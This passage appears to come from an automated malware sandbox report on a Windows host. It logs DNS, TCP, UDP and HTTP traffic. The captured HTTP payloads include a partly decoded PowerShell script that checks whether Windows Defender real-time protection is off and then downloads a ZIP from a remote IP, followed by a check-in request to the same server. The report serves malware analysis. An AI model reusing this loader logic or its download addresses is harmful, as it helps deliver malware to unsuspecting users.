Dec 21, 2024 08:42:08.493547916 CET	443	49975	142.250.181.110	192.168.2.4
Dec 21, 2024 08:42:15.332814932 CET	49998	80	192.168.2.4	192.124.216.14
Dec 21, 2024 08:42:15.452441931 CET	80	49998	192.124.216.14	192.168.2.4
Dec 21, 2024 08:42:15.452528000 CET	49998	80	192.168.2.4	192.124.216.14
Dec 21, 2024 08:42:15.453258991 CET	49998	80	192.168.2.4	192.124.216.14
Dec 21, 2024 08:42:15.573721886 CET	80	49998	192.124.216.14	192.168.2.4
Dec 21, 2024 08:42:16.937937975 CET	80	49998	192.124.216.14	192.168.2.4
Dec 21, 2024 08:42:16.983231068 CET	49998	80	192.168.2.4	192.124.216.14
Dec 21, 2024 08:42:17.409914970 CET	49998	80	192.168.2.4	192.124.216.14

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 21, 2024 08:40:02.441420078 CET	56644	53	192.168.2.4	1.1.1.1
Dec 21, 2024 08:40:02.580549955 CET	53	56644	1.1.1.1	192.168.2.4
Dec 21, 2024 08:40:05.116729975 CET	61126	53	192.168.2.4	1.1.1.1
Dec 21, 2024 08:40:05.258527040 CET	53	61126	1.1.1.1	192.168.2.4
Dec 21, 2024 08:40:13.920690060 CET	54961	53	192.168.2.4	1.1.1.1
Dec 21, 2024 08:40:13.920903921 CET	49874	53	192.168.2.4	1.1.1.1
Dec 21, 2024 08:40:14.058192015 CET	53	55550	1.1.1.1	192.168.2.4
Dec 21, 2024 08:40:14.123981953 CET	53	49152	1.1.1.1	192.168.2.4
Dec 21, 2024 08:40:14.403356075 CET	53	54961	1.1.1.1	192.168.2.4
Dec 21, 2024 08:40:14.403415918 CET	53	49874	1.1.1.1	192.168.2.4
Dec 21, 2024 08:40:16.999998093 CET	53	58515	1.1.1.1	192.168.2.4
Dec 21, 2024 08:40:18.276283979 CET	64351	53	192.168.2.4	1.1.1.1
Dec 21, 2024 08:40:18.276432991 CET	55246	53	192.168.2.4	1.1.1.1
Dec 21, 2024 08:40:18.413341045 CET	53	64351	1.1.1.1	192.168.2.4
Dec 21, 2024 08:40:18.413434982 CET	53	55246	1.1.1.1	192.168.2.4
Dec 21, 2024 08:40:20.463198900 CET	138	138	192.168.2.4	192.168.2.255
Dec 21, 2024 08:40:31.169754028 CET	53	57135	1.1.1.1	192.168.2.4
Dec 21, 2024 08:40:34.129133940 CET	53	65124	1.1.1.1	192.168.2.4
Dec 21, 2024 08:40:51.820173025 CET	64297	53	192.168.2.4	1.1.1.1
Dec 21, 2024 08:40:51.820964098 CET	51472	53	192.168.2.4	1.1.1.1
Dec 21, 2024 08:40:51.957107067 CET	53	64297	1.1.1.1	192.168.2.4
Dec 21, 2024 08:40:51.958556890 CET	53	51472	1.1.1.1	192.168.2.4
Dec 21, 2024 08:40:54.881716967 CET	53	57638	1.1.1.1	192.168.2.4
Dec 21, 2024 08:40:56.485110044 CET	53	60654	1.1.1.1	192.168.2.4
Dec 21, 2024 08:40:56.485836983 CET	53	54096	1.1.1.1	192.168.2.4
Dec 21, 2024 08:41:05.682699919 CET	59885	53	192.168.2.4	1.1.1.1
Dec 21, 2024 08:41:05.682974100 CET	64145	53	192.168.2.4	1.1.1.1
Dec 21, 2024 08:41:05.819749117 CET	53	59885	1.1.1.1	192.168.2.4
Dec 21, 2024 08:41:05.820205927 CET	53	64145	1.1.1.1	192.168.2.4
Dec 21, 2024 08:41:05.979866982 CET	53	63546	1.1.1.1	192.168.2.4
Dec 21, 2024 08:41:06.586723089 CET	53	56287	1.1.1.1	192.168.2.4
Dec 21, 2024 08:41:07.374819040 CET	53	59717	1.1.1.1	192.168.2.4
Dec 21, 2024 08:41:08.563635111 CET	53	65263	1.1.1.1	192.168.2.4
Dec 21, 2024 08:41:11.193356991 CET	60529	53	192.168.2.4	1.1.1.1
Dec 21, 2024 08:41:11.193610907 CET	49507	53	192.168.2.4	1.1.1.1
Dec 21, 2024 08:41:11.330394983 CET	53	49507	1.1.1.1	192.168.2.4
Dec 21, 2024 08:41:11.330502987 CET	53	60529	1.1.1.1	192.168.2.4
Dec 21, 2024 08:41:13.931952953 CET	53	51627	1.1.1.1	192.168.2.4
Dec 21, 2024 08:41:14.539130926 CET	61295	53	192.168.2.4	1.1.1.1
Dec 21, 2024 08:41:14.539308071 CET	49237	53	192.168.2.4	1.1.1.1
Dec 21, 2024 08:41:14.758814096 CET	53	54208	1.1.1.1	192.168.2.4
Dec 21, 2024 08:41:14.768578053 CET	53	49237	1.1.1.1	192.168.2.4
Dec 21, 2024 08:41:14.770487070 CET	53	61295	1.1.1.1	192.168.2.4
Dec 21, 2024 08:41:17.811816931 CET	61003	53	192.168.2.4	1.1.1.1
Dec 21, 2024 08:41:17.811961889 CET	49779	53	192.168.2.4	1.1.1.1
Dec 21, 2024 08:41:17.890739918 CET	53	52619	1.1.1.1	192.168.2.4
Dec 21, 2024 08:41:17.948645115 CET	53	61003	1.1.1.1	192.168.2.4
Dec 21, 2024 08:41:17.948676109 CET	53	49779	1.1.1.1	192.168.2.4
Dec 21, 2024 08:41:27.267169952 CET	51460	53	192.168.2.4	1.1.1.1
Dec 21, 2024 08:41:27.267317057 CET	56218	53	192.168.2.4	1.1.1.1
Dec 21, 2024 08:41:27.406820059 CET	53	51460	1.1.1.1	192.168.2.4
Dec 21, 2024 08:41:27.406955004 CET	53	56218	1.1.1.1	192.168.2.4
Dec 21, 2024 08:41:48.060400963 CET	53	52644	1.1.1.1	192.168.2.4
Dec 21, 2024 08:42:05.864512920 CET	55475	53	192.168.2.4	1.1.1.1
Dec 21, 2024 08:42:05.864934921 CET	64045	53	192.168.2.4	1.1.1.1
Dec 21, 2024 08:42:06.002232075 CET	53	55475	1.1.1.1	192.168.2.4
Dec 21, 2024 08:42:06.002584934 CET	53	64045	1.1.1.1	192.168.2.4
Dec 21, 2024 08:42:06.999701977 CET	53	61474	1.1.1.1	192.168.2.4
Dec 21, 2024 08:42:33.839034081 CET	53	59849	1.1.1.1	192.168.2.4
Dec 21, 2024 08:43:31.998647928 CET	53	56350	1.1.1.1	192.168.2.4
Dec 21, 2024 08:43:48.644107103 CET	53	56324	1.1.1.1	192.168.2.4
Dec 21, 2024 08:44:21.100908041 CET	138	138	192.168.2.4	192.168.2.255

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 21, 2024 08:40:14.198470116 CET	192.168.2.4	1.1.1.1	c233	(Port unreachable)	Destination Unreachable
Dec 21, 2024 08:41:05.979932070 CET	192.168.2.4	1.1.1.1	c225	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 21, 2024 08:40:02.441420078 CET	192.168.2.4	1.1.1.1	0x5d14	Standard query (0)	upload.wikimedia.org	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:40:05.116729975 CET	192.168.2.4	1.1.1.1	0x1567	Standard query (0)	i.ibb.co	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:40:13.920690060 CET	192.168.2.4	1.1.1.1	0x6a69	Standard query (0)	yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:40:13.920903921 CET	192.168.2.4	1.1.1.1	0xc1b5	Standard query (0)	yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org	65	IN (0x0001)	false
Dec 21, 2024 08:40:18.276283979 CET	192.168.2.4	1.1.1.1	0xf947	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:40:18.276432991 CET	192.168.2.4	1.1.1.1	0x5cd6	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 21, 2024 08:40:51.820173025 CET	192.168.2.4	1.1.1.1	0x8560	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:40:51.820964098 CET	192.168.2.4	1.1.1.1	0x65ba	Standard query (0)	drive.google.com	65	IN (0x0001)	false
Dec 21, 2024 08:41:05.682699919 CET	192.168.2.4	1.1.1.1	0x1b50	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:41:05.682974100 CET	192.168.2.4	1.1.1.1	0x7113	Standard query (0)	play.google.com	65	IN (0x0001)	false
Dec 21, 2024 08:41:11.193356991 CET	192.168.2.4	1.1.1.1	0x8ffb	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:41:11.193610907 CET	192.168.2.4	1.1.1.1	0x4545	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 21, 2024 08:41:14.539130926 CET	192.168.2.4	1.1.1.1	0x458b	Standard query (0)	blobcomments-pa.clients6.google.com	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:41:14.539308071 CET	192.168.2.4	1.1.1.1	0xe539	Standard query (0)	blobcomments-pa.clients6.google.com	65	IN (0x0001)	false
Dec 21, 2024 08:41:17.811816931 CET	192.168.2.4	1.1.1.1	0x8183	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:41:17.811961889 CET	192.168.2.4	1.1.1.1	0xe60b	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 21, 2024 08:41:27.267169952 CET	192.168.2.4	1.1.1.1	0x729e	Standard query (0)	peoplestackwebexperiments-pa.clients6.google.com	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:41:27.267317057 CET	192.168.2.4	1.1.1.1	0x3c37	Standard query (0)	peoplestackwebexperiments-pa.clients6.google.com	65	IN (0x0001)	false
Dec 21, 2024 08:42:05.864512920 CET	192.168.2.4	1.1.1.1	0x3967	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:42:05.864934921 CET	192.168.2.4	1.1.1.1	0x85bd	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 21, 2024 08:40:02.580549955 CET	1.1.1.1	192.168.2.4	0x5d14	No error (0)	upload.wikimedia.org		185.15.58.240	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:40:05.258527040 CET	1.1.1.1	192.168.2.4	0x1567	No error (0)	i.ibb.co		91.134.82.79	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:40:05.258527040 CET	1.1.1.1	192.168.2.4	0x1567	No error (0)	i.ibb.co		91.134.10.127	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:40:05.258527040 CET	1.1.1.1	192.168.2.4	0x1567	No error (0)	i.ibb.co		91.134.9.159	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:40:05.258527040 CET	1.1.1.1	192.168.2.4	0x1567	No error (0)	i.ibb.co		91.134.10.182	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:40:05.258527040 CET	1.1.1.1	192.168.2.4	0x1567	No error (0)	i.ibb.co		91.134.9.160	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:40:05.258527040 CET	1.1.1.1	192.168.2.4	0x1567	No error (0)	i.ibb.co		91.134.10.168	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:40:14.403356075 CET	1.1.1.1	192.168.2.4	0x6a69	No error (0)	yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org		192.124.216.109	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:40:18.413341045 CET	1.1.1.1	192.168.2.4	0xf947	No error (0)	www.google.com		172.217.19.228	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:40:18.413434982 CET	1.1.1.1	192.168.2.4	0x5cd6	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 21, 2024 08:40:51.957107067 CET	1.1.1.1	192.168.2.4	0x8560	No error (0)	drive.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:41:05.819749117 CET	1.1.1.1	192.168.2.4	0x1b50	No error (0)	play.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:41:11.330394983 CET	1.1.1.1	192.168.2.4	0x4545	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 21, 2024 08:41:11.330502987 CET	1.1.1.1	192.168.2.4	0x8ffb	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 21, 2024 08:41:11.330502987 CET	1.1.1.1	192.168.2.4	0x8ffb	No error (0)	plus.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:41:14.770487070 CET	1.1.1.1	192.168.2.4	0x458b	No error (0)	blobcomments-pa.clients6.google.com		172.217.17.42	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:41:17.948645115 CET	1.1.1.1	192.168.2.4	0x8183	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 21, 2024 08:41:17.948645115 CET	1.1.1.1	192.168.2.4	0x8183	No error (0)	plus.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:41:17.948676109 CET	1.1.1.1	192.168.2.4	0xe60b	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 21, 2024 08:41:27.406820059 CET	1.1.1.1	192.168.2.4	0x729e	No error (0)	peoplestackwebexperiments-pa.clients6.google.com		172.217.19.202	A (IP address)	IN (0x0001)	false
Dec 21, 2024 08:42:06.002232075 CET	1.1.1.1	192.168.2.4	0x3967	No error (0)	play.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

upload.wikimedia.org

i.ibb.co

yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org

https:

play.google.com

apis.google.com

www.google.com

192.124.216.14

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49892	192.124.216.14	80	5516	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 08:41:32.697237015 CET	180	OUT	GET /vd/sis/DownSistem.ps1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 192.124.216.14 Connection: Keep-Alive
Dec 21, 2024 08:41:34.013183117 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 07:41:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 25 Nov 2024 11:04:53 GMT ETag: "6c8-627bab3c02145" Accept-Ranges: bytes Content-Length: 1736 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 23 20 44 65 66 69 6e 65 20 61 20 55 52 4c 20 64 6f 20 61 72 71 75 69 76 6f 20 5a 49 50 20 65 20 6f 20 63 61 6d 69 6e 68 6f 20 64 65 20 64 65 73 74 69 6e 6f 0d 0a 24 7a 69 70 55 72 6c 20 3d 20 22 68 74 74 70 3a 2f 2f 31 39 32 2e 31 32 34 2e 32 31 36 2e 31 34 2f 76 64 2f 73 69 73 2f 73 69 73 74 65 6d 61 2e 7a 69 70 22 0d 0a 24 64 65 73 74 69 6e 61 74 69 6f 6e 46 6f 6c 64 65 72 20 3d 20 22 43 3a 5c 74 65 6d 70 22 0d 0a 24 7a 69 70 46 69 6c 65 50 61 74 68 20 3d 20 4a 6f 69 6e 2d 50 61 74 68 20 24 64 65 73 74 69 6e 61 74 69 6f 6e 46 6f 6c 64 65 72 20 22 73 69 73 74 65 6d 61 2e 7a 69 70 22 0d 0a 0d 0a 23 20 56 65 72 69 66 69 63 61 20 73 65 20 61 20 70 61 73 74 61 20 64 65 20 64 65 73 74 69 6e 6f 20 65 78 69 73 74 65 2c 20 73 65 6e e3 6f 20 61 20 63 72 69 61 0d 0a 69 66 20 28 2d 6e 6f 74 20 28 54 65 73 74 2d 50 61 74 68 20 24 64 65 73 74 69 6e 61 74 69 6f 6e 46 6f 6c 64 65 72 29 29 20 7b 0d 0a 20 20 20 20 4e 65 77 2d 49 74 65 6d 20 2d 50 61 74 68 20 24 64 65 73 74 69 6e 61 74 69 6f 6e 46 6f 6c 64 65 72 20 [TRUNCATED] Data Ascii: # Define a URL do arquivo ZIP e o caminho de destino$zipUrl = "http://192.124.216.14/vd/sis/sistema.zip"$destinationFolder = "C:\temp"$zipFilePath = Join-Path $destinationFolder "sistema.zip"# Verifica se a pasta de destino existe, seno a criaif (-not (Test-Path $destinationFolder)) { New-Item -Path $destinationFolder -ItemType Directory -Force \| Out-Null}# Funo para verificar se o Windows Defender est inativofunction Is-WindowsDefenderInactive { try { # Verifica o status do monitoramento em tempo real $realTimeProtection = Get-MpPreference \| Select-Object -ExpandProperty DisableRealtimeMonitoring return $realTimeProtection -eq $true } catch { Write-Output "Erro ao verificar o status do Windows Defender: $_" exit 1 }}# Verifica se o Windows Defender est inativoif (-not (Is-WindowsDefenderInactive)) { Write-Output "Windows Defender est ativo. Nada ser feito."
Dec 21, 2024 08:41:34.013217926 CET	761	IN	Data Raw: 0d 0a 20 20 20 20 65 78 69 74 20 30 0d 0a 7d 0d 0a 0d 0a 23 20 53 65 20 6f 20 44 65 66 65 6e 64 65 72 20 65 73 74 69 76 65 72 20 69 6e 61 74 69 76 6f 2c 20 62 61 69 78 61 20 6f 20 61 72 71 75 69 76 6f 20 5a 49 50 0d 0a 74 72 79 20 7b 0d 0a 20 20 Data Ascii: exit 0}# Se o Defender estiver inativo, baixa o arquivo ZIPtry { Invoke-WebRequest -Uri $zipUrl -OutFile $zipFilePath -UseBasicParsing Write-Output "Arquivo baixado com sucesso: $zipFilePath"} catch { Write-Outpu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49998	192.124.216.14	80	2596	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 08:42:15.453258991 CET	172	OUT	GET /ana/index.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 192.124.216.14 Connection: Keep-Alive
Dec 21, 2024 08:42:16.937937975 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 07:42:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.15.58.240	443	1260	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:40:04 UTC	146	OUT	GET /wikipedia/commons/3/3f/Windows-loading-cargando.gif HTTP/1.1 User-Agent: Mozilla/5.0 Host: upload.wikimedia.org Connection: Keep-Alive
2024-12-21 07:40:04 UTC	1042	IN	HTTP/1.1 200 OK content-type: image/gif x-object-meta-sha1base36: hlcbiggihc3sfhm0dq9fxnc75spc9zj last-modified: Sat, 03 Aug 2024 10:31:17 GMT content-length: 45632 date: Sat, 21 Dec 2024 07:40:04 GMT server: envoy etag: b3ac83c59a1d981725a72b9a6851edec age: 0 x-cache: cp6008 hit, cp6003 miss x-cache-status: hit-local server-timing: cache;desc="hit-local", host;desc="cp6003" strict-transport-security: max-age=106384710; includeSubDomains; preload report-to: { "group": "wm_nel", "max_age": 604800, "endpoints": [{ "url": "https://intake-logging.wikimedia.org/v1/events?stream=w3c.reportingapi.network_error&schema_uri=/w3c/reportingapi/network_error/1.0.0" }] } nel: { "report_to": "wm_nel", "max_age": 604800, "failure_fraction": 0.05, "success_fraction": 0.0} x-client-ip: 8.46.123.189 x-content-type-options: nosniff access-control-allow-origin: * access-control-expose-headers: Age, Date, Content-Length, Content-Range, X-Content-Duration, X-Cache timing-allow-origin: * accept-ranges: bytes connection: close
2024-12-21 07:40:04 UTC	13865	IN	Data Raw: 47 49 46 38 39 61 80 00 80 00 f4 10 00 cc cc cc e4 e4 e4 f4 f4 f4 fc fc fc 6c 6c 6c ec ec ec 8c 8c 8c d4 d4 d4 84 84 84 c4 c4 c4 dc dc dc bc bc bc b4 b4 b4 7c 7c 7c 94 94 94 74 74 74 ac ac ac 9c 9c 9c a4 a4 a4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 ff 0b 49 6d 61 67 65 4d 61 67 69 63 6b 0e 67 61 6d 6d 61 3d 30 2e 34 35 34 35 34 35 00 21 f9 04 09 04 00 10 00 2c 00 00 00 00 80 00 80 00 00 05 ff 20 24 8e 64 69 9e 68 aa a2 84 93 10 c4 2a cf 74 6d df 78 89 28 43 3f 08 87 58 6e 48 2c 1a 65 0d 81 6f 19 38 3a 9f 50 db 61 49 45 44 af d8 2b 81 4a 55 64 bf e0 a1 83 bb 14 08 c3 e8 34 2a 41 5e 9e d5 70 f5 b6 fd 7b c7 ef 25 02 03 70 Data Ascii: GIF89alll\|\|\|ttt!NETSCAPE2.0!ImageMagickgamma=0.454545!, $dihtmx(C?XnH,eo8:PaIED+JUd4A^p{%p
2024-12-21 07:40:05 UTC	15296	IN	Data Raw: 78 00 7f 00 00 05 ff e0 24 8e 64 69 9e 68 aa 96 04 91 1c 06 b1 ce 74 6d df b8 ed 14 43 3f 08 80 9c 70 48 2c ae 0c be e4 e0 60 6c 3a 9f 2b 02 4f e9 93 41 af 58 23 92 ea 0b 66 bf e0 9a 82 eb 2b 84 cf 68 53 80 dc 2b 58 d3 70 30 80 3d 50 c4 ef df 2d 79 81 ef 43 09 02 6c 6f 43 10 83 7e 71 0e 64 09 45 08 6b 02 01 0b 86 87 67 08 00 53 40 0d 44 04 07 54 02 08 93 77 2d 08 92 37 52 64 02 a4 a0 aa 2a 73 6c 5e ab b0 2b 63 6c 76 b1 b6 28 b3 64 01 b7 bc 25 6b 6c 6e bd c2 ad 64 4c c2 bd a6 64 99 c7 c8 b9 49 7c cc c7 c4 3d c6 d1 c7 0e 01 07 91 d6 dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef 4f 04 08 2f 0a 0c a9 f0 4e 0d 81 49 05 10 f8 59 80 f6 fc bb a2 a7 d3 bd 81 38 9c 51 71 80 b0 49 40 5a 0d 8d 10 a0 53 27 a2 11 85 4a a0 8d 68 d1 c2 22 8d 44 82 48 58 2a Data Ascii: x$dihtmC?pH,`l:+OAX#f+hS+Xp0=P-yCloC~qdEkgS@DTw-7Rdsl^+clv(d%klndLdI\|=O/NIY8QqI@ZS'Jh"DHX
2024-12-21 07:40:05 UTC	15296	IN	Data Raw: 0d 75 32 00 03 02 0a 0b 74 3f 70 59 52 41 0d 46 3b 02 06 84 29 8d 3b 01 8b 37 01 61 95 41 9d 50 02 08 96 26 0a 61 0a 43 09 69 3b 05 9f 40 0b 6a 02 83 a5 22 a1 61 11 43 77 78 42 68 71 73 b5 0e 7b 05 b5 26 b1 7b b4 96 c7 6a c0 c5 23 10 7b 03 9b 6e 09 c3 d3 a5 04 7b 8f a5 cb 61 cd ce 13 d9 71 a9 b5 08 7b 5b e0 23 98 51 c9 a5 06 ac a2 d7 b5 04 b7 3c 01 ed b5 91 a2 a4 e9 25 00 01 05 04 08 f0 d1 4f c4 29 39 00 f0 15 0c b7 6b e1 08 09 bc 1c 4a 9c 48 b1 a2 c5 8b 18 33 6a dc c8 b1 a3 c7 8f 20 43 8a cc b8 4b de 48 32 0f 02 7f 08 94 c3 af 04 02 06 09 16 bc 3a a9 04 4c 94 96 13 1e 1c b4 f7 80 a6 92 7a 3c 0a d0 7a 20 89 9d 4f 50 bf 7a ae 3b f2 ed 28 8d 6e 61 00 f8 8a 83 d3 a9 0c 2c 7b 00 48 88 46 d0 ea 0c ac 71 16 54 db 43 ce ab 8c 08 d1 20 80 55 03 c0 2c 8d 9d 59 02 Data Ascii: u2t?pYRAF;);7aAP&aCi;@j"aCwxBhqs{&{j#{n{aq{[#Q<%O)9kJH3j CKH2:Lz<z OPz;(na,{HFqTC U,Y
2024-12-21 07:40:05 UTC	1175	IN	Data Raw: a3 29 a5 52 9c a7 27 70 6a 00 ac 27 4a 6a 09 b1 26 65 5a 78 b6 24 00 60 b0 bb 26 0e 0a 02 44 0a a2 c0 b7 06 0c 91 c8 cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db 48 2c cc cd 0d 01 02 e3 01 ba cf 06 c4 4b 0e d0 0c 71 ce b8 76 df 9d 94 a0 f2 97 ed a0 10 cd b3 af cd f4 ee cd 1c a8 59 f7 6c 81 96 08 d2 5c e9 a8 35 2d 81 82 03 09 8e 71 9b 48 b1 a2 c5 8b 18 33 6a dc c8 b1 a3 c7 8f 20 01 79 b3 c6 60 5c 81 00 90 a4 88 d5 99 62 0e d9 4a 29 67 9a 21 c8 e7 ac 97 9a 03 ce 52 4d b1 27 49 93 1a 9e 8b f8 69 f9 d5 4c 27 11 a0 92 1e a4 5b b2 20 9a c0 25 ab a2 21 08 70 f2 40 d3 90 58 b3 6a dd ca b5 ab d7 af 60 c3 8a 1d 4b b6 ac d9 b3 68 d3 aa 0d db 02 80 82 04 48 47 d9 d4 21 e0 ea b3 a7 52 ec 36 f3 29 a5 a5 2d bc a6 8a 82 1a 10 17 d0 4b 30 85 f3 18 54 13 e0 1d 28 a2 c8 f8 Data Ascii: )R'pj'Jj&eZx$`&DH,KqvYl\5-qH3j y`\bJ)g!RM'IiL'[ %!p@Xj`KhHG!R6)-K0T(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	91.134.82.79	443	1260	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:40:06 UTC	99	OUT	GET /41J4DHL/logo.png HTTP/1.1 User-Agent: Mozilla/5.0 Host: i.ibb.co Connection: Keep-Alive
2024-12-21 07:40:07 UTC	379	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 07:40:06 GMT Content-Type: image/png Content-Length: 71977 Connection: close Last-Modified: Wed, 13 Nov 2024 16:24:10 GMT Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: public Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Accept-Ranges: bytes
2024-12-21 07:40:07 UTC	3717	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 06 00 00 00 f4 78 d4 fa 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 1c 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 46 69 72 65 77 6f 72 6b 73 20 43 53 36 e8 bc b2 8c 00 00 00 48 70 72 56 57 78 9c ed ce 41 0d 80 30 14 05 b0 27 05 0b 38 c1 c2 0e 84 eb 14 22 80 cc 0b 0e d8 82 8a 7f 69 15 f4 f9 ee 37 3d 7d fe 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 c4 91 96 2b 67 b6 ec d5 15 0a 2c 98 a4 0b eb 59 fc 16 50 00 00 00 48 6d 6b 42 46 fa de ca fe 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PNGIHDRxsBIT\|dpHYs~tEXtSoftwareAdobe Fireworks CS6HprVWxA0'8"i7=}F+g,YPHmkBF
2024-12-21 07:40:07 UTC	4096	IN	Data Raw: eb dc 33 56 82 d1 43 1e 8f b8 bd 08 27 41 b7 f9 8d 2b c6 a9 dc 75 ee 19 a7 6f 63 23 1f b0 0b 67 f6 37 94 85 c8 b2 44 0a 38 5d 6f 43 df 31 33 e8 36 cd c5 f1 41 4d a9 72 eb ba c9 3d e3 fc 52 c2 39 86 70 d1 e8 f9 63 d4 96 b1 6e ba 6e 16 0c 13 1f aa 93 95 6d f9 cc 5c b4 57 7c a3 0d d1 ec 7d ca a9 a5 a4 12 4a 7c 0c ad 96 a2 91 d4 d4 2d 4f 36 24 a2 a1 c8 18 b7 9b c6 38 6b 28 32 a6 b6 0f bf d4 43 51 c3 9d 7a ba 91 35 14 a5 2f 6c c8 2d 2a 35 92 6e 74 f3 ef 59 37 9e 70 dd c0 8c 4d 36 bb 8d ef 5a fd b5 48 23 54 a6 a5 19 af 94 ad 0f 3b 66 7d b8 39 a6 89 6c 94 ea 3f b6 a2 cb 66 5a ac a2 39 a5 d4 61 73 db 7e cf ba b0 15 ea 02 be dd f4 96 7c d9 02 3d 68 5b 6d 18 91 b2 ba 96 6d e2 bf ac ae 35 76 c6 d6 d8 c8 ea 5a f4 5f 56 d7 9a 4c f1 9f 12 8b 96 8e ff 4a aa c2 46 37 7f Data Ascii: 3VC'A+uoc#g7D8]oC136AMr=R9pcnnm\W\|}J\|-O6$8k(2CQz5/l-*5ntY7pM6ZH#T;f}9l?fZ9as~\|=h[mm5vZ_VLJF7
